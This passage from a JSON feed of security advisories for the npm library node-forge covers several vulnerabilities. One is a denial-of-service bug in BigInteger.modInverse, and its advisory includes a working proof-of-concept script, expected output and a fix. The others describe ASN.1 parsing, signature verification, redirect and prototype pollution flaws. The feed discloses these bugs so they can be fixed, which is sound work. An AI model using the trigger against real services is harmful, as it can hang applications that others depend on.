at risk of hanging.\n```bash\nmkdir forge-poc \u0026\u0026 cd forge-poc\nnpm init -y\nnpm install node-forge\n# Save the script below as poc.js, then run:\nnode poc.js\n```\n```javascript\n'use strict';\nconst { spawnSync } = require('child_process');\n\nconst childCode = `\n  const forge = require('node-forge');\n  // jsbn may not be auto-loaded; try explicit require if needed\n  if (!forge.jsbn) {\n    try { require('node-forge/lib/jsbn'); } catch(e) {}\n  }\n  if (!forge.jsbn || !forge.jsbn.BigInteger) {\n    console.error('ERROR: forge.jsbn.BigInteger not available');\n    process.exit(2);\n  }\n  const BigInteger = forge.jsbn.BigInteger;\n  const zero = new BigInteger('0', 10);\n  const mod = new BigInteger('3', 10);\n  // This call should throw or return 0, but instead loops forever\n  const inv = zero.modInverse(mod);\n  console.log('returned: ' + inv.toString());\n`;\n\nconsole.log('[*] Testing: BigInteger(0).modInverse(3)');\nconsole.log('[*] Expected: throw an error or return quickly');\nconsole.log('[*] Spawning child process with 5s timeout...');\nconsole.log();\n\nconst result = spawnSync(process.execPath, ['-e', childCode], {\n  encoding: 'utf8',\n  timeout: 5000,\n});\n\nif (result.error \u0026\u0026 result.error.code === 'ETIMEDOUT') {\n  console.log('[VULNERABLE] Child process timed out after 5s');\n  console.log('  -\u003e modInverse(0, 3) entered an infinite loop (DoS confirmed)');\n  process.exit(0);\n}\n\nif (result.status === 2) {\n  console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());\n  console.log('  -\u003e Check your node-forge installation');\n  process.exit(1);\n}\n\nif (result.status === 0) {\n  console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());\n  process.exit(1);\n}\n\nconsole.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');\nif (result.stderr) console.log('  stderr:', result.stderr.trim());\nprocess.exit(1);\n```\nExpected Output\n```\n[*] Testing: BigInteger(0).modInverse(3)\n[*] Expected: throw an error or return quickly\n[*] Spawning child process with 5s timeout...\n\n[VULNERABLE] Child process timed out after 5s\n  -\u003e modInverse(0, 3) entered an infinite loop (DoS confirmed)\nVerified On\n```\n\nnode-forge v1.3.1 (latest at time of writing)\nNode.js v18.x / v20.x / v22.x\nmacOS / Linux / Windows\n\n## Impact\n\nAvailability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests.\nScope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.\n\n## Suggested Fix\n\nAdd a zero-value check at the entry of bnModInverse() in lib/jsbn.js:\n```javascript\nfunction bnModInverse(m) {\n  var ac = m.isEven();\n  // Add this check:\n  if (this.signum() == 0) {\n    throw new Error('BigInteger has no modular inverse: input is zero');\n  }\n  // ... rest of the existing implementation ...\n}\n```\nAlternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-26T21:57:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx","https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023","https://nvd.nist.gov/vuln/detail/CVE-2026-33891","https://github.com/advisories/GHSA-5m6q-g25r-mvwx"],"source_kind":"github","identifiers":["GHSA-5m6q-g25r-mvwx","CVE-2026-33891"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-26T22:00:10.833Z","updated_at":"2026-11-05T13:05:14.197Z","epss_percentage":0.00607,"epss_percentile":0.48715,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01bTZxLWcyNXItbXZ3eM4ABUWU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01bTZxLWcyNXItbXZ3eM4ABUWU","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.0","vulnerable_version_range":"\u003c 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01bTZxLWcyNXItbXZ3eM4ABUWU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01NTR3LXdwdjItdncyN84ABPAi","url":"https://github.com/advisories/GHSA-554w-wpv2-vw27","title":"node-forge has ASN.1 Unbounded Recursion","description":"### Summary\n\nAn Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.\n\n### Details\n\nAn ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge `asn1.fromDer` function within `forge/lib/asn1.js`. The ASN.1 DER parser implementation (`_fromDer`) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw `RangeError: Maximum call stack size exceeded`, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.\n\n### Impact\n\nThis vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.\n\nThis vulnerability impacts the ans1.fromDer function in `node-forge` before patched version `1.3.2`. \n\nAny downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-11-26T22:08:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-554w-wpv2-vw27","https://github.com/digitalbazaar/forge/commit/260425c6167a38aae038697132483b5517b26451","https://github.com/advisories/GHSA-554w-wpv2-vw27"],"source_kind":"github","identifiers":["GHSA-554w-wpv2-vw27","CVE-2025-66031"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-26T23:00:08.880Z","updated_at":"2026-11-05T13:06:47.128Z","epss_percentage":0.00446,"epss_percentile":0.38576,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NTR3LXdwdjItdncyN84ABPAi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NTR3LXdwdjItdncyN84ABPAi","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.3.2","vulnerable_version_range":"\u003c 1.3.2"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NTR3LXdwdjItdncyN84ABPAi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NWNoLTYycjgtZzY5Z84ABPAh","url":"https://github.com/advisories/GHSA-65ch-62r8-g69g","title":"node-forge is vulnerable to ASN.1 OID Integer Truncation","description":"### Summary\n\n**MITRE-Formatted CVE Description**\nAn Integer Overflow (CWE-190) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions.\n\n### Description\n\nAn ASN.1 OID Integer Truncation vulnerability exists in the node-forge `asn1.derToOid` function within `forge/lib/asn1.js`. OID components are decoded using JavaScript's bitwise left-shift operator (`\u003c\u003c`), which forcibly casts values to 32-bit signed integers. Consequently, if an attacker provides a mathematically unique, very large OID arc integer exceeding $2^{31}-1$, the value silently overflows and wraps around rather than throwing an error. \n\n### Impact\n\nThis vulnerability allows a specially crafted ASN.1 object to spoof an OID, where a malicious certificate with a massive, invalid OID is misinterpreted by the library as a trusted, standard OID, potentially bypassing security controls.\n\nThis vulnerability impacts the `asn1.derToOid` function in `node-forge` before patched version `1.3.2`. \n\nAny downstream application using this component is impacted. This component may be leveraged by downstream applications in ways that enables partial compromise of integrity, leading to potential availability and confidentiality compromises.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-11-26T22:07:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-65ch-62r8-g69g","https://github.com/digitalbazaar/forge/commit/3e0c35ace169cfca529a3e547a7848dc7bf57fdb","https://nvd.nist.gov/vuln/detail/CVE-2025-66030","https://github.com/advisories/GHSA-65ch-62r8-g69g"],"source_kind":"github","identifiers":["GHSA-65ch-62r8-g69g","CVE-2025-66030"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-26T23:00:08.880Z","updated_at":"2026-11-05T13:06:47.128Z","epss_percentage":0.0033,"epss_percentile":0.2602,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NWNoLTYycjgtZzY5Z84ABPAh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NWNoLTYycjgtZzY5Z84ABPAh","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.3.2","vulnerable_version_range":"\u003c 1.3.2"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NWNoLTYycjgtZzY5Z84ABPAh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Z2ZtLXdweGotd2pncc4ABPAg","url":"https://github.com/advisories/GHSA-5gfm-wpxj-wjgq","title":"node-forge has an Interpretation Conflict vulnerability via its ASN.1 Validator Desynchronization","description":"### Summary\n\nCVE-2025-12816 has been reserved by CERT/CC\n\n**Description**\nAn Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.\n\n\n### Details\n\nA critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within `forge/lib/asn1.js`. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.\n\nThis vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).\n\n### Impact\n\nThis flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.\n\nThis vulnerability impacts the `ans1.validate` function in `node-forge` before patched version `1.3.2`.\nhttps://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.\n\nThe following components in `node-forge` are impacted.\n[lib/asn1.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/asn1.js#L1153)\n[lib/x509.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/x509.js#L667)\n[lib/pkcs12.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs12.js#L328)\n[lib/pkcs7.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs7.js#L90)\n[lib/rsa.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/rsa.js#L1167)\n[lib/pbe.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pbe.js#L363)\n[lib/ed25519.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/ed25519.js#L81)\n\nAny downstream application using these components is impacted.\n\nThese components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-11-26T22:07:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-5gfm-wpxj-wjgq","https://github.com/digitalbazaar/forge/pull/1124","https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/asn1.js#L1153","https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/ed25519.js#L81","https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pbe.js#L363","https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs12.js#L328","https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs7.js#L90","https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/rsa.js#L1167","https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/x509.js#L667","https://kb.cert.org/vuls/id/521113","https://www.kb.cert.org/vuls/id/521113","https://www.npmjs.com/package/node-forge","https://github.com/advisories/GHSA-5gfm-wpxj-wjgq"],"source_kind":"github","identifiers":["GHSA-5gfm-wpxj-wjgq","CVE-2025-12816"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-26T23:00:08.880Z","updated_at":"2026-11-05T13:06:47.129Z","epss_percentage":0.0058,"epss_percentile":0.47501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z2ZtLXdweGotd2pncc4ABPAg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Z2ZtLXdweGotd2pncc4ABPAg","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.3.2","vulnerable_version_range":"\u003c 1.3.2"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z2ZtLXdweGotd2pncc4ABPAg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ycjJjLWc2M3ItdmNjcs00Kg","url":"https://github.com/advisories/GHSA-2r2c-g63r-vccr","title":"Improper Verification of Cryptographic Signature in `node-forge`","description":"### Impact\n\nRSA PKCS#1 v1.5 signature verification code is not properly checking `DigestInfo` for a proper ASN.1 structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest.\n\n### Patches\n\nThe issue has been addressed in `node-forge` `1.3.0`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [forge](https://github.com/digitalbazaar/forge)\n* Email us at [example email address](mailto:security@digitalbazaar.com)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-03-18T23:10:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-2r2c-g63r-vccr","https://nvd.nist.gov/vuln/detail/CVE-2022-24773","https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1","https://github.com/digitalbazaar/forge/commit/bb822c02df0b61211836472e29b9790cc541cdb2","https://github.com/advisories/GHSA-2r2c-g63r-vccr"],"source_kind":"github","identifiers":["GHSA-2r2c-g63r-vccr","CVE-2022-24773"],"repository_url":"https://github.com/digitalbazaar/forge","blast_radius":0.0,"created_at":"2022-12-21T16:12:32.969Z","updated_at":"2026-11-11T06:18:09.454Z","epss_percentage":0.00956,"epss_percentile":0.61522,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycjJjLWc2M3ItdmNjcs00Kg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ycjJjLWc2M3ItdmNjcs00Kg","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.3.0","vulnerable_version_range":"\u003c 1.3.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycjJjLWc2M3ItdmNjcs00Kg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14NGpnLW1qcngtNDM0Z800KQ","url":"https://github.com/advisories/GHSA-x4jg-mjrx-434g","title":"Improper Verification of Cryptographic Signature in node-forge","description":"### Impact\n\nRSA PKCS#1 v1.5 signature verification code does not check for tailing garbage bytes after decoding a `DigestInfo` ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.\n\n### Patches\n\nThe issue has been addressed in `node-forge` `1.3.0`.\n\n### References\n\nFor more information, please see\n[\"Bleichenbacher's RSA signature forgery based on implementation error\"](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/)\nby Hal Finney.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [forge](https://github.com/digitalbazaar/forge)\n* Email us at [example email address](mailto:security@digitalbazaar.com)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-03-18T23:10:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-x4jg-mjrx-434g","https://nvd.nist.gov/vuln/detail/CVE-2022-24772","https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1","https://github.com/digitalbazaar/forge/commit/bb822c02df0b61211836472e29b9790cc541cdb2","https://github.com/advisories/GHSA-x4jg-mjrx-434g"],"source_kind":"github","identifiers":["GHSA-x4jg-mjrx-434g","CVE-2022-24772"],"repository_url":"https://github.com/digitalbazaar/forge","blast_radius":0.0,"created_at":"2022-12-21T16:12:32.978Z","updated_at":"2026-11-05T13:08:44.887Z","epss_percentage":0.01112,"epss_percentile":0.65663,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NGpnLW1qcngtNDM0Z800KQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14NGpnLW1qcngtNDM0Z800KQ","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.3.0","vulnerable_version_range":"\u003c 1.3.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NGpnLW1qcngtNDM0Z800KQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZm00LXFqaDItNDc2Nc00KA","url":"https://github.com/advisories/GHSA-cfm4-qjh2-4765","title":"Improper Verification of Cryptographic Signature in node-forge","description":"### Impact\n\nRSA PKCS#1 v1.5 signature verification code is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used.\n\n### Patches\n\nThe issue has been addressed in `node-forge` `1.3.0`.\n\n### References\n\nFor more information, please see\n[\"Bleichenbacher's RSA signature forgery based on implementation error\"](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/)\nby Hal Finney.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [forge](https://github.com/digitalbazaar/forge)\n* Email us at [example email address](mailto:security@digitalbazaar.com)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-03-18T23:09:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765","https://nvd.nist.gov/vuln/detail/CVE-2022-24771","https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1","https://github.com/digitalbazaar/forge/commit/bb822c02df0b61211836472e29b9790cc541cdb2","https://github.com/advisories/GHSA-cfm4-qjh2-4765"],"source_kind":"github","identifiers":["GHSA-cfm4-qjh2-4765","CVE-2022-24771"],"repository_url":"https://github.com/digitalbazaar/forge","blast_radius":0.0,"created_at":"2022-12-21T16:12:32.987Z","updated_at":"2026-11-05T13:08:44.887Z","epss_percentage":0.00779,"epss_percentile":0.55626,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZm00LXFqaDItNDc2Nc00KA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZm00LXFqaDItNDc2Nc00KA","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.3.0","vulnerable_version_range":"\u003c 1.3.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZm00LXFqaDItNDc2Nc00KA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04ZnIzLWhmZzMtZ3BncM0hMQ","url":"https://github.com/advisories/GHSA-8fr3-hfg3-gpgp","title":"Open Redirect in node-forge","description":"parseUrl functionality in node-forge mishandles certain uses of backslash such as `https:/\\/\\/\\` and interprets the URI as a relative path. ","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-01-21T23:36:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-0122","https://github.com/digitalbazaar/forge/commit/db8016c805371e72b06d8e2edfe0ace0df934a5e","https://huntr.dev/bounties/41852c50-3c6d-4703-8c55-4db27164a4ae","https://github.com/advisories/GHSA-8fr3-hfg3-gpgp"],"source_kind":"github","identifiers":["GHSA-8fr3-hfg3-gpgp","CVE-2022-0122"],"repository_url":"https://github.com/digitalbazaar/forge","blast_radius":0.0,"created_at":"2022-12-21T16:12:38.574Z","updated_at":"2026-11-05T13:13:52.520Z","epss_percentage":0.00867,"epss_percentile":0.58684,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ZnIzLWhmZzMtZ3BncM0hMQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04ZnIzLWhmZzMtZ3BncM0hMQ","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.0.0","vulnerable_version_range":"\u003c 1.0.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ZnIzLWhmZzMtZ3BncM0hMQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01cnJxLXB4ZjYtNmp4Nc0hQg","url":"https://github.com/advisories/GHSA-5rrq-pxf6-6jx5","title":"Prototype Pollution in node-forge debug API.","description":"### Impact\nThe `forge.debug` API had a potential prototype pollution issue if called with untrusted input. The API was only used for internal debug purposes in a safe way and never documented or advertised.  It is suspected that uses of this API, if any exist, would likely not have used untrusted inputs in a vulnerable way.\n\n### Patches\nThe `forge.debug` API and related functions were removed in 1.0.0.\n\n### Workarounds\nDon't use the `forge.debug` API directly or indirectly with untrusted input.\n\n### References\n- https://www.huntr.dev/bounties/1-npm-node-forge/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [forge](https://github.com/digitalbazaar/forge).\n* Email us at support@digitalbazaar.com.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-01-08T00:22:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-5rrq-pxf6-6jx5","https://github.com/advisories/GHSA-5rrq-pxf6-6jx5"],"source_kind":"github","identifiers":["GHSA-5rrq-pxf6-6jx5"],"repository_url":"https://github.com/digitalbazaar/forge","blast_radius":0.0,"created_at":"2022-12-21T16:12:38.972Z","updated_at":"2026-11-11T06:18:26.983Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cnJxLXB4ZjYtNmp4Nc0hQg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01cnJxLXB4ZjYtNmp4Nc0hQg","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.0.0","vulnerable_version_range":"\u003c 1.0.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cnJxLXB4ZjYtNmp4Nc0hQg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13eGd3LXFqOTktNDRjMs0hQQ","url":"https://github.com/advisories/GHSA-wxgw-qj99-44c2","title":"Prototype Pollution in node-forge util.setPath API","description":"### Impact\n`forge.util.setPath` had a potential prototype pollution issue if called with untrusted keys. This API was not used by forge itself.\n\n### Patches\nThe `forge.util.setPath` API and related functions were removed in 0.10.0.\n\n### Workarounds\nDon't call `forge.util.setPath` directly or indirectly with untrusted keys.\n\n### References\n- https://security.snyk.io/vuln/SNYK-JS-NODEFORGE-598677\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7720\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [forge](https://github.com/digitalbazaar/forge).\n* Email us at support@digitalbazaar.com.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-01-08T00:22:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-wxgw-qj99-44c2","https://github.com/advisories/GHSA-wxgw-qj99-44c2"],"source_kind":"github","identifiers":["GHSA-wxgw-qj99-44c2"],"repository_url":"https://github.com/digitalbazaar/forge","blast_radius":0.0,"created_at":"2022-12-21T16:12:38.981Z","updated_at":"2026-11-11T06:18:26.983Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13eGd3LXFqOTktNDRjMs0hQQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13eGd3LXFqOTktNDRjMs0hQQ","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"0.10.0","vulnerable_version_range":"\u003c 0.10.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13eGd3LXFqOTktNDRjMs0hQQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nZjhxLWpycG0tanZ4cc0hQA","url":"https://github.com/advisories/GHSA-gf8q-jrpm-jvxq","title":"URL parsing in node-forge could lead to undesired behavior.","description":"### Impact\nThe regex used for the `forge.util.parseUrl` API would not properly parse certain inputs resulting in a parsed data structure that could lead to undesired behavior.\n\n### Patches\n`forge.util.parseUrl` and other very old related URL APIs were removed in 1.0.0 in favor of letting applications use the more modern WHATWG URL Standard API.\n\n### Workarounds\nEnsure code does not directly or indirectly call `forge.util.parseUrl` with untrusted input.\n\n### References\n- https://www.huntr.dev/bounties/41852c50-3c6d-4703-8c55-4db27164a4ae/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [forge](https://github.com/digitalbazaar/forge)\n* Email us at support@digitalbazaar.com\n","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-01-08T00:22:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-gf8q-jrpm-jvxq","https://nvd.nist.gov/vuln/detail/CVE-2022-0122","https://www.huntr.dev/bounties/41852c50-3c6d-4703-8c55-4db27164a4ae","https://github.com/advisories/GHSA-gf8q-jrpm-jvxq"],"source_kind":"github","identifiers":["GHSA-gf8q-jrpm-jvxq"],"repository_url":"https://github.com/digitalbazaar/forge","blast_radius":0.0,"created_at":"2022-12-21T16:12:38.990Z","updated_at":"2026-11-11T06:18:26.984Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZjhxLWpycG0tanZ4cc0hQA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZjhxLWpycG0tanZ4cc0hQA","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.0.0","vulnerable_version_range":"\u003c 